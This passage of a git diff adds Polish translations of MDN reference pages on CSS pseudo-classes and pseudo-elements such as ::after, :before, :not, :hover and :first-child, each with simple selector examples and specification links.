*/ selektor::after { własności }</pre> + +<p>Zapis<code> ::after</code> został wprowadzony w CSS 3 w celu ustanowienia różnicy pomiędzy <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-classes">pseudo klasami</a>, a <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements">pseudo elementami</a>. Przeglądarki akceptują również notację <code>:after </code>wprowadzoną w CSS 2.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Prosty_przykład">Prosty przykład</h3> + +<pre><html> + <body> + <p>akapit</p> + </body> +</html> +</pre> + +<pre>p:after { + content: 'Koniec'; + display: block; + margin-top: 3em; +} +</pre> + +<hr> +<pre>body:after { content: 'Koniec dokumentu'; } +</pre> + +<h3 id="Notatki" name="Notatki">Notatki</h3> + +<p>Elementy wstawiane do dokumentu poprzez <code>:after</code> nie są widziane w drzewie dokumentu.</p> + +<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/1998/REC-CSS2-19980512/selector.html#before-and-after">CSS 2.1</a></li> + <li><a class="external" href="http://www.w3.org/TR/css3-selectors/#gen-content">CSS 3</a></li> +</ul> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p>{{ Cssxref(":before") }}, {{ Cssxref("content") }}</p> + +<p> </p> + +<p>{{ languages( { "en": "en/CSS/:after", "es": "es/CSS/after", "fr": "fr/CSS/:after" } ) }}</p> diff --git a/files/pl/web/css/_colon_before/index.html b/files/pl/web/css/_colon_before/index.html new file mode 100644 index 0000000000..5c1a1f3772 --- /dev/null +++ b/files/pl/web/css/_colon_before/index.html @@ -0,0 +1,60 @@ +--- +title: ':before' +slug: 'Web/CSS/:before' +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: 'Web/CSS/::before' +--- +<p>{{ CSSRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Tworzy pseudoelement, który staje się pierwszym dzieckiem danego elementu. Zazwyczaj używany jest do wprowadzania kosmetycznych zmian danego elementu. Domyślnie element wstawiany jest <code>inline</code>.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">element:before { własności } +</pre> + +<p>Najczęściej używana jest własność {{ Cssxref("content") }}, która pozwala na wstawienie treści do pseudoelementu.</p> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<p>Zobacz przykład</p> + +<pre><html> + <body> + <p>akapit</p> + </body> +</html> +</pre> + +<pre>p:before { + content: 'Tekst przed akapitem'; + display: block; +} +</pre> + +<p> </p> + +<h3 id="Notatki" name="Notatki">Notatki</h3> + +<p>Elementy wstawiane do dokumentu poprzez <code>:before</code> nie są widziane w drzewie dokumentu.</p> + +<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/1998/REC-CSS2-19980512/selector.html#before-and-after">CSS 2.1</a></li> + <li><a class="external" href="http://www.w3.org/TR/css3-selectors/#gen-content">CSS 3</a></li> +</ul> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p>{{ Cssxref(":after") }}, {{ Cssxref("content") }}</p> + +<p> </p> + +<p>{{ languages( { "en": "en/CSS/:before", "es": "es/CSS/before", "fr": "fr/CSS/:before" } ) }}</p> diff --git a/files/pl/web/css/_colon_empty/index.html b/files/pl/web/css/_colon_empty/index.html new file mode 100644 index 0000000000..5d0479f9a6 --- /dev/null +++ b/files/pl/web/css/_colon_empty/index.html @@ -0,0 +1,44 @@ +--- +title: ':empty' +slug: 'Web/CSS/:empty' +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: 'Web/CSS/:empty' +--- +<p>{{ CSSRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Pseudoklasa <code>:empty</code> odnosi się do elementów, które nie posiadają żadnych węzłów potomnych (wliczając w to węzły tekstowe).</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">selektor:empty { własności } +</pre> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<pre class="eval">span:empty::before { content: "pusty span"; font-style:italic; } +</pre> + +<p>Powyższy przykład doda przed każdym pusty elementem span tekst "<em>pusty span</em> "</p> + +<pre class="eval">*:not(:empty) {<em>własności</em> } +</pre> + +<p>Przykład nada własności wszystkim niepustym elementom.</p> + +<h3 id="Notatki" name="Notatki">Notatki</h3> + +<p>Jeśli wewnątrz elementu znajduje się jakikolwiek znak, wliczając w to białe znaki, element nie będzie traktowany jako <code>empty</code></p> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p>{{ Cssxref(":before") }}, {{ Cssxref(":after") }}, {{ Cssxref("content") }}, {{ Cssxref(":not") }}</p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/CSS/:empty", "es": "es/CSS/vac\u00edo", "fr": "fr/CSS/:empty" } ) }}</p> diff --git a/files/pl/web/css/_colon_first-child/index.html b/files/pl/web/css/_colon_first-child/index.html new file mode 100644 index 0000000000..25e81d027e --- /dev/null +++ b/files/pl/web/css/_colon_first-child/index.html @@ -0,0 +1,74 @@ +--- +title: ':first-child' +slug: 'Web/CSS/:first-child' +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: 'Web/CSS/:first-child' +--- +<p> {{ CSSRef() }} +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Pseudoklasa <code>:first-child</code> sprawia iż własności stosowane są do elementu tylko wtedy gdy jest on pierwszym węzłem potomnym swojego rodzica. <code>:first-child</code> ignoruje węzły tekstowe. Pseudoklasą, która działa identycznie, jednak uwzględnia węzły tekstowe jest {{ Cssxref(":first-node") }}. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">selektor:first-child { własności } +</pre> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<pre><html> + <body> + Trochę tekstu. + <span id="first">pierwszy</span> + <div> + <span id="dfirst">pierwszy</span> + <span id="dsecond">drugi</span> + </div> + <span id="second">drugi</span> + </body> +</html> +</pre> +<pre class="eval">span:first-child { font-weight: bold; } +</pre> +<p>Powyższy zapis pogrubi czcionkę wewnątrz wszystkich elementów <code>span</code>, które są pierwszymi dziećmi swoich rodziców. Zostaną tutaj pogrubione słowa "<b>pierwszy</b>": </p> +<ol><li> W pierwszym przypadku span o id <code>first</code> jest pierwszym dzieckiem elementu <code>body</code> +</li><li> W drugim przypadku span o id <code>dfirst</code> jest pierwszym dzieckiem elementu <code>div</code> +</li></ol> +<p><br> +</p> +<pre class="eval">div:first-child:last-child { background-color: red; } +</pre> +<p>Ten przykład ustawi czerwony kolor tła wszystkim elementom <code>div</code>, które są jedynymi dziećmi swojego rodzica. +</p> +<pre><table> + <tr> + <td>Nagłówek k1</td> + <td>Nagłówek k2</td> + </tr> + <tr> + <td>Wiersz k1</td> + <td>Wiersz k2</td> + </tr> + <tr> + <td>Wiersz k1</td> + <td>Wiersz k2</td> + </tr> + <tr> + <td>Wiersz k1</td> + <td>Wiersz k2</td> + </tr> +</table> +</pre> +<pre class="eval">table tr:first-child { background-color: red; } +</pre> +<p>Ten przykład ustawi czerwone tło pierwszemu wierszowi tabeli (nagłówkowi). +UWAGA: Ten przykład ma za zadanie pokazać jak działa pseudoklasa <code>:first-child</code>. +</p> +<h3 id="Notatki" name="Notatki"> Notatki </h3> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<p>{{ Cssxref(":before") }}, {{ Cssxref(":after") }}, {{ Cssxref(":last-child") }} +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/CSS/:first-child", "fr": "fr/CSS/:first-child" } ) }} diff --git a/files/pl/web/css/_colon_first-letter/index.html b/files/pl/web/css/_colon_first-letter/index.html new file mode 100644 index 0000000000..5de2e64cbd --- /dev/null +++ b/files/pl/web/css/_colon_first-letter/index.html @@ -0,0 +1,49 @@ +--- +title: ':first-letter' +slug: 'Web/CSS/:first-letter' +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: 'Web/CSS/::first-letter' +--- +<p>{{ CSSRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Pseudoelement odnoszący się do pierwszej litery w bloku.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval notranslate">element::first-letter { własności } +</pre> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<pre class="eval notranslate">p::first-letter { text-transform: uppercase; } +</pre> + +<p>Przykład zamieni w każdym paragrafie pierwszą literę na wielką.</p> + +<pre class="eval notranslate">p::first-letter { color: red; } +</pre> + +<p>Przykład zmieni kolor pierwszej litery na czerwony w każdym elemencie <code>p</code></p> + + + +<h3 id="Notatki" name="Notatki">Notatki</h3> + +<p>Pseudoelementy nie mogą być negowane poprzez {{ Cssxref(":not") }}.</p> + +<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/1998/REC-CSS2-19980512/selector.html#first-letter">CSS 2.1</a></li> + <li><a class="external" href="http://www.w3.org/TR/css3-selectors/#first-letter">CSS 3</a></li> +</ul> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p>{{ Cssxref("text-transform") }}</p> diff --git a/files/pl/web/css/_colon_first-node/index.html b/files/pl/web/css/_colon_first-node/index.html new file mode 100644 index 0000000000..123c08088b --- /dev/null +++ b/files/pl/web/css/_colon_first-node/index.html @@ -0,0 +1,58 @@ +--- +title: ':first-node' +slug: 'Web/CSS/:first-node' +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: 'Web/CSS/:-moz-first-node' +--- +<p>{{Non-standard_header}}{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Pseudoklasa <code>:first-node</code> sprawia iż własności stosowane są do elementu tylko wtedy gdy jest on pierwszym węzłem potomnym swojego rodzica. <code>:first-node</code> uwzględnia również węzły tekstowe składające się niebiałych znaków. Pseudoklasą, która działa identycznie, jednak nie uwzględnia węzłów tekstowych jest {{ Cssxref(":first-child") }}.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">selektor:first-node { własności } +</pre> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre><html> + <body> + Trochę tekstu. + <span id="first">pierwszy</span> + <div> + <span id="dfirst">pierwszy</span> + <span id="dsecond">drugi</span> + </div> + <span id="second">drugi</span> + </body> +</html> +</pre> + +<pre class="eval">span:first-node { font-weight: bold; } +</pre> + +<p>Powyższy zapis pogrubi czcionkę wewnątrz wszystkich elementów <code>span</code>, które są pierwszymi dziećmi swoich rodziców. Zostanie tutaj pogrubione tylko jedno słowo "<strong>pierwszy</strong>", ponieważ span o id <code>first</code> nie jest pierwszym dzieckiem elementu <code>body</code>. Pierwszym dzieckiem elementu <code>body</code> jest węzeł tekstowy.</p> + +<pre class="eval">div:first-node:last-child { background-color: red; } +</pre> + +<p>Ten przykład ustawi czerwony kolor tła wszystkim elementom <code>div</code>, które są jedynymi dziećmi swojego rodzica. Jednak za elementem może znajdować się węzeł tekstowy.</p> + +<pre class="eval">div:first-child:last-node { background-color: red; } +</pre> + +<p>Ten przykład natomiast ustawi czerwony kolor tła wszystkim elementom <code>div</code>, które są jedynymi dziećmi swojego rodzica. Przed elementem może znajdować się węzeł tekstowy.</p> + +<h2 id="Notatki" name="Notatki">Notatki</h2> + +<p>Pseudoklasa <code>:first-node</code> nie jest obecnie obsługiwana. Skorzystaj z {{ Cssxref(":-moz-first-node") }}</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<p>{{ Cssxref(":before") }}, {{ Cssxref(":after") }}, {{ Cssxref(":last-node") }}</p> diff --git a/files/pl/web/css/_colon_hover/index.html b/files/pl/web/css/_colon_hover/index.html new file mode 100644 index 0000000000..91006dd99a --- /dev/null +++ b/files/pl/web/css/_colon_hover/index.html @@ -0,0 +1,101 @@ +--- +title: ':hover' +slug: 'Web/CSS/:hover' +translation_of: 'Web/CSS/:hover' +--- +<div> +<p>{{CSSRef}}</p> + +<h2 id="Pseudo_klasahover">Pseudo klasa:hover</h2> +</div> + +<p>Właściwość <strong><code>:hover</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-class</a> jest używana gdy użytkownik wchodzi w interakcję z elementem za pomocą urządzenia wskazującego, ale niekoniecznie go aktywuje. Generalnie wyzwalanie następuje gdy użytkownik wskaże element kursorem, np. wskaźnikiem myszy.</p> + +<pre class="brush: css no-line-numbers">/* Wybierz każdy element <a>, który zostanie najechany kursorem */ +a:hover { + color: orange; +}</pre> + +<p>Style zdefiniowane przez pseudo-klasę <code>:active</code> będą nadpisywane przez każdą kolejną powiązaną pseudo-klasę ({{ cssxref(":link") }}, {{ cssxref(":visited") }}, lub {{ cssxref(":active") }}) która ma conajmniej taką samą specyfikację. Aby dopasować odpowiednio linki umieść <code>:hover</code> za <code>:link</code> i <code>:visited</code> ale przed <code>:active</code> zgodnie z zasadą <em>LVHA </em>: <code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>.</p> + +<div class="note"><strong>Notatka</strong>: Pseudo-klasa <code>:hover</code> wykazuje problem na ekranach dotykowych. W zależności od przeglądarki <code>:hover</code> może nigdy nie być zgodna, może zmienić styl na czas wskazania elementu lub zmienić go do czasu oznaczenia innego elementu. Web developerzy powinni zadbać o to aby elementy działy również na urządzeniach z ograniczeniami obługi funkcji. </div> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">{{csssyntax}}</pre> + +<h2 id="Przykład">Przykład</h2> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><a href="#">Wskaż ten link.</a></pre> + +<h3 id="CSS">CSS</h3> + +<pre class="brush: css">a { + background-color: powderblue; + transition: background-color .5s; +} + +a:hover { + background-color: gold; +}</pre> + +<h4 id="Rezultat">Rezultat</h4> + +<p>{{EmbedLiveSample("Przykład")}}</p> + +<h3 id="Galeria_obrazów">Galeria obrazów</h3> + +<p>Możesz użyć pseudo-klasy <code>:hover</code> do utworzenia galerii obrazów, gdzie pełnowymiarowe obrazy będą wyświetlae wtedy, gdy kursor przesunie się nad miniaturą. Zobacz <a class="internal" href="/@api/deki/files/6247/=css-gallery.zip" title="css-gallery.zip">demo</a> takiego rozwiązania.</p> + +<div class="note"><strong>Notatka:</strong> Dla analogicznego efektu, ale opartego o pseudo-klasę <a class="internal" href="/en-US/docs/Web/CSS/%3Achecked"><code>:checked</code></a> (zastostosowane dla ukrytych radio-box'ów), zobacz<a class="internal" href="/@api/deki/files/6268/=css-checked-gallery.zip" title="css-checked-gallery.zip"> demo</a>, zaczerpnięte z strony dotyczącej <a class="internal" href="/en-US/docs/Web/CSS/:checked">:checked</a>.</div> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{ SpecName('HTML WHATWG', 'scripting.html#selector-hover', ':hover') }}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td> </td> + </tr> + <tr> + <td>{{ SpecName('CSS4 Selectors', '#the-hover-pseudo', ':hover') }}</td> + <td>{{ Spec2('CSS4 Selectors') }}</td> + <td>Allows <code>:hover</code> to be applied to any pseudo-element.</td> + </tr> + <tr> + <td>{{ SpecName('CSS3 Selectors', '#the-user-action-pseudo-classes-hover-act', ':hover') }}</td> + <td>{{ Spec2('CSS3 Selectors') }}</td> + <td>No significant change.</td> + </tr> + <tr> + <td>{{ SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':hover') }}</td> + <td>{{ Spec2('CSS2.1') }}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilne_przeglądarki">Kompatybilne przeglądarki</h2> + +<div> + + +<p>{{Compat("css.selectors.hover")}}</p> +</div> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li><a href="https://code.google.com/p/chromium/issues/detail?id=370155">Chromium bug #370155: Don't make <code>:hover</code> sticky on tap on sites that set a mobile viewport</a></li> + <li><a href="https://code.google.com/p/chromium/issues/detail?id=306581">Chromium bug #306581: Immediately show hover and active states on touch when page isn't scrollable.</a></li> +</ul> diff --git a/files/pl/web/css/_colon_lang/index.html b/files/pl/web/css/_colon_lang/index.html new file mode 100644 index 0000000000..c8bf3f144f --- /dev/null +++ b/files/pl/web/css/_colon_lang/index.html @@ -0,0 +1,31 @@ +--- +title: ':lang' +slug: 'Web/CSS/:lang' +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: 'Web/CSS/:lang' +--- +<p>{{ CSSRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Pseudoklasa <code>:lang</code> pozwala na dopasowanie własności dla elementów w określonym języku. W <code>HTML4</code> odnosi się do atrybutu <code>lang</code>. W XML-u do <code>xml:lang</code>.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">selektor:lang(symbol) { własności } +</pre> +<p>Gdzie <code>symbol</code> to symbol języka zgodny z <a class="external" href="http://www.ietf.org/rfc/rfc3066.txt"> </a></p> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"><a class="external" href="http://www.ietf.org/rfc/rfc3066.txt">Przykłady </a></h3> +<pre class="eval"><a class="external" href="http://www.ietf.org/rfc/rfc3066.txt">p:lang(pl) {<i>własności</i> } +</a></pre> +<p><a class="external" href="http://www.ietf.org/rfc/rfc3066.txt">Zostaną zastosowane własności dla wszystkich elementów <code>P</code>, których atrybut <code>lang</code> ustawiony jest na <code>pl</code>. </a></p> +<h3 id="Notatki" name="Notatki"><a class="external" href="http://www.ietf.org/rfc/rfc3066.txt">Notatki </a></h3> +<p><a class="external" href="http://www.ietf.org/rfc/rfc3066.txt">Jeśli dany element nie ma przepisanego atrybutu <code>lang</code> pod uwagę brany jest język ustawiony dla całego dokumentu. </a></p> +<p> </p> +<h3 id="Specyfikacje" name="Specyfikacje"><a class="external" href="http://www.ietf.org/rfc/rfc3066.txt">Specyfikacje </a></h3> +<ul> + <li><a class="external" href="http://www.w3.org/TR/1998/REC-CSS2-19980512/selector.html#lang">CSS 2.1</a></li> + <li><a class="external" href="http://www.w3.org/TR/css3-selectors/#lang-pseudo">CSS 3</a></li> +</ul> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> +<p>{{ Cssxref(":before") }}, {{ Cssxref(":after") }}, {{ Cssxref(":empty") }}</p> diff --git a/files/pl/web/css/_colon_last-child/index.html b/files/pl/web/css/_colon_last-child/index.html new file mode 100644 index 0000000000..c051571b1f --- /dev/null +++ b/files/pl/web/css/_colon_last-child/index.html @@ -0,0 +1,51 @@ +--- +title: ':last-child' +slug: 'Web/CSS/:last-child' +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: 'Web/CSS/:last-child' +--- +<p> {{ CSSRef() }} +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Pseudoklasa <code>:last-child</code> sprawia iż własności stosowane są do elementu tylko wtedy gdy jest on ostatnim węzłem potomnym swojego rodzica. <code>:last-child</code> ignoruje węzły tekstowe. Pseudoklasą, która działa identycznie, jednak uwzględnia węzły tekstowe jest {{ Cssxref(":last-node") }}. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">selektor:last-child { własności } +</pre> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3> +<pre><html> + <body> + Trochę tekstu. + <span id="first">pierwszy</span> + <div> + <span id="dfirst">pierwszy</span> + <span id="dsecond">drugi</span> + </div> + <span id="second">drugi</span> + </body> +</html> +</pre> +<pre class="eval">span:last-child { font-weight: bold; } +</pre> +<p>Powyższy zapis pogrubi czcionkę wewnątrz wszystkich elementów <code>span</code>, które są ostatnimi dziećmi swoich rodziców. Zostaną tutaj pogrubione słowa "<b>drugi</b>": </p> +<ol><li> W pierwszym przypadku span o id <code>dsecond</code> jest ostatnim dzieckiem elementu <code>div</code> +</li><li> W drugim przypadku span o id <code>second</code> jest ostatnim dzieckiem elementu <code>body</code> +</li></ol> +<p><br> +</p> +<pre class="eval">div:first-child:last-child { background-color: red; } +</pre> +<p>Ten przykład ustawi czerwony kolor tła wszystkim elementom <code>div</code>, które są jedynymi dziećmi swojego rodzica. +</p><p><br> +</p> +<h3 id="Notatki" name="Notatki"> Notatki </h3> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<p>{{ Cssxref(":before") }}, {{ Cssxref(":after") }}, {{ Cssxref(":first-child") }} +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/CSS/:last-child", "fr": "fr/CSS/:first-child" } ) }} diff --git a/files/pl/web/css/_colon_link/index.html b/files/pl/web/css/_colon_link/index.html new file mode 100644 index 0000000000..6fb07d5479 --- /dev/null +++ b/files/pl/web/css/_colon_link/index.html @@ -0,0 +1,70 @@ +--- +title: ':link' +slug: 'Web/CSS/:link' +tags: + - CSS + - CSS Psuedo-class + - Web +translation_of: 'Web/CSS/:link' +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie"><span id="result_box" lang="pl"><span>Podsumowanie</span></span></h2> + +<p>Pseudo-klasa :link pozwala wybrać linki wewnątrz elementów. Dzięki niej możesz wybrać każdy link, który nie został jeszcze odwiedzony, nawet taki, który ma już nadane wartości za pomocą innych pseudo-klas, takich jak: {{ cssxref(":hover") }}, {{ cssxref(":active") }} lub {{ cssxref(":visited") }}. W celu odpowiedniej stylizacji linków musisz wstawić pseudo-klasę :link na początku, według kolejności LVHA:<code> :link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>. Pseudo-klasa {{ cssxref(":focus") }} jest zazwyczaj ustawiana przed lub po pseudo-klasie <code>:hover</code> (w zależności od oczekiwanego efektu).</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">{{csssyntax}}</pre> + +<h2 id="Przykłady">Przykłady</h2> + +<pre class="brush: css">a:link {color: slategray;} +.external:link {background-color: lightblue;}</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<ul> + <li><a href="https://html.spec.whatwg.org/multipage/scripting.html#selector-link">WHATWG HTML Living Standard</a></li> + <li><a href="https://drafts.csswg.org/selectors-4/#link">Selectors Level 4</a></li> + <li><a href="https://drafts.csswg.org/selectors-3/#link">Selectors Level 3</a></li> + <li><a href="https://www.w3.org/TR/CSS2/selector.html#link-pseudo-classes">CSS Level 2 (Revision 1)</a></li> + <li><a href="https://www.w3.org/TR/CSS1/#anchor-pseudo-classes">CSS Level 1</a></li> +</ul> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Kompatybilność z przeglądarkami</h2> + +<table class="standard-table"> + <tbody> + <tr> + <td><strong>Przeglądarka </strong></td> + <td><strong>Najniższa wersja </strong></td> + </tr> + <tr> + <td>Chrome</td> + <td>4.0</td> + </tr> + <tr> + <td>Edge</td> + <td>7.0</td> + </tr> + <tr> + <td>Firefox</td> + <td>2.0</td> + </tr> + <tr> + <td>Safari</td> + <td>3.1</td> + </tr> + <tr> + <td>Opera</td> + <td>9.6</td> + </tr> + </tbody> +</table> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{ cssxref(":visited") }}, {{ cssxref(":hover") }}, {{ cssxref(":active") }}</li> +</ul> diff --git a/files/pl/web/css/_colon_not/index.html b/files/pl/web/css/_colon_not/index.html new file mode 100644 index 0000000000..a9c87058d8 --- /dev/null +++ b/files/pl/web/css/_colon_not/index.html @@ -0,0 +1,73 @@ +--- +title: ':not' +slug: 'Web/CSS/:not' +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: 'Web/CSS/:not' +--- +<p>{{ CSSRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Pseudoklasa <code>:not</code> sprawia, iż własności są stosowane do elementów, które nie spełniają podanego kryterium.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval notranslate">selektor:not(selektor) { własności } +</pre> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<pre class="eval notranslate">*:not(DIV) { color: red; } +</pre> + +<p>Przykład nada czerwony kolor czcionki wszystkim elementom za wyjątkiem elementów <code>DIV</code>.</p> + +<pre class="eval notranslate">input:not([DISABLED]) { border-color: green; } +</pre> + +<p>Przykład nada wszystkim elementom <code>INPUT</code>, które są aktywne (nie są <code>DISABLED</code>), zmieni kolor obramowania na zielone.</p> + +<pre class="eval notranslate">input:not([TYPE=PASSWORD]) {<em>własności</em> } +</pre> + +<p>Przykład przydzieli własności wszystkim elementom <code>INPUT</code>, które mają atrybut <code>TYPE</code> inny niż <code>PASSWORD</code>.</p> + +<pre class="eval notranslate">*:not(P) {<em>własności</em> } +</pre> + +<p>Przykład przydzieli własności wszystkim elementom innym, niż <code>P</code>.</p> + +<pre class="eval notranslate">a:not(:hover) {<em>własności</em> } +</pre> + +<p>Przykład nada własności wszystkim elementom <code>A</code>, na których nie stoi kursor. Jest to równoważne z:</p> + +<pre class="eval notranslate">a:link:visited {<em>własności</em> } +</pre> + + + +<pre class="eval notranslate">body > input:not([disabled]):not([type=text]) {<em>własności</em> } +</pre> + +<p>Przykład przypisze własności wszystkim elementom <code>INPUT</code>, które są dziećmi <code>BODY</code> oraz, które nie mają atrybutu <code>DISABLED</code> i jednocześnie nie są typu <code>TEXT</code>.</p> + +<h3 id="Notatki" name="Notatki">Notatki</h3> + +<p>Pseudoklasa <code>:not</code> nie może być negowana przez inne <code>:not</code>.</p> + + + +<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/css3-selectors/#negation">CSS 3</a></li> +</ul> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p>{{ Cssxref(":before") }}, {{ Cssxref(":after") }}, {{ Cssxref("content") }}, {{ Cssxref(":empty") }}</p> diff --git a/files/pl/web/css/_colon_root/index.html b/files/pl/web/css/_colon_root/index.html new file mode 100644 index 0000000000..850a9e8277 --- /dev/null +++ b/files/pl/web/css/_colon_root/index.html @@ -0,0 +1,26 @@ +--- +title: ':root' +slug: 'Web/CSS/:root' +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: 'Web/CSS/:root' +--- +<p>{{ CSSRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Pseudoklasa <code>:root</code> odnosi się do głównego węzła dokumentu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">selektor:root {<i>własności</i> } +</pre> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> +<pre class="eval">*:root { margin: 0; } +</pre> +<p>Przykład głównemu węzłowi dokumentu ustawi margines na zero.</p> +<h3 id="Notatki" name="Notatki">Notatki</h3> +<p>W HTML4 głównym węzłem dokumentu jest zawsze element <code>HTML</code>.</p> +<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3> +<p><a class="external" href="http://www.w3.org/TR/css3-selectors/#root-pseudo">CSS 3</a></p> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> +<p>{{ Cssxref(":empty") }}, {{ Cssxref(":not") }}</p> diff --git a/files/pl/web/css/appearance/index.html b/files/pl/web/css/appearance/index.html new file mode 100644 index 0000000000..fb3d059ffe --- /dev/null +++ b/files/pl/web/css/appearance/index.html @@ -0,0 +1,96 @@ +--- +title: '-moz-appearance' +slug: Web/CSS/appearance +tags: + - CSS + - Non-standard +translation_of: Web/CSS/appearance +--- +<p>{{Non-standard_header}}{{CSSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p><code>-moz-appearance</code> jest używane przez przeglądarki bazujące na Mozilli do wyświetlania elementu przy użyciu natywnego dla platformy wyglądu, opartego na temacie systemu operacyjnego.</p> + +<ul> + <li>Wartość początkowa: none</li> + <li>Dotyczy: wszystkich elementów</li> + <li>Dziedziczony: nie</li> + <li>Procenty: niedostępne</li> + <li>Wartość wyliczona: jako określone</li> +</ul> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + 